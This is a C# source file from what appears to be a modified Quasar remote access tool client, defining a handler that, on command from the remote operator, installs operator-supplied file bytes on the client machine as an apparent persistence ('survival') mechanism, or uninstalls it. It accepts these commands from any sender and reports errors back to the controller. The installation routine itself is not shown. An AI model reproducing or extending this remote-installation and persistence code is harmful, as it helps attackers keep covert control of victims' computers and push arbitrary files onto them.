using Quasar.Common.Messages;
using Quasar.Common.Networking;
using Quasar.Client.Survival;

namespace Quasar.Client.Messages
{
    public class SurvivalHandler : IMessageProcessor
    {
        public bool CanExecute(IMessage message) => message is DoSurvivalInstall || message is DoSurvivalUninstall;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case DoSurvivalInstall msg:
                    Execute(sender, msg);
                    break;
                case DoSurvivalUninstall uninstall:
                    ExecuteUninstall(sender);
                    break;
            }
        }

        private void Execute(ISender client, DoSurvivalInstall message)
        {
            if (message.FileBytes != null && message.FileExtension != null)
            {
                RSFuncs.InstallFile(client, message.FileBytes, message.FileExtension);
            }
            else
            {
                client.Send(new NewSurvivalLog
                {
                    Log = "Invalid file bytes or file extension",
                    LogType = "error"
                });
            }
        }

        private void ExecuteUninstall(ISender client)
        {
            try
            {
                RSFuncs.Uninstall(client);
            }
            catch (System.Exception ex)
            {
                client.Send(new NewSurvivalLog
                {
                    Log = ex.Message,
                    LogType = "error"
                });
            }
        }
    }
}
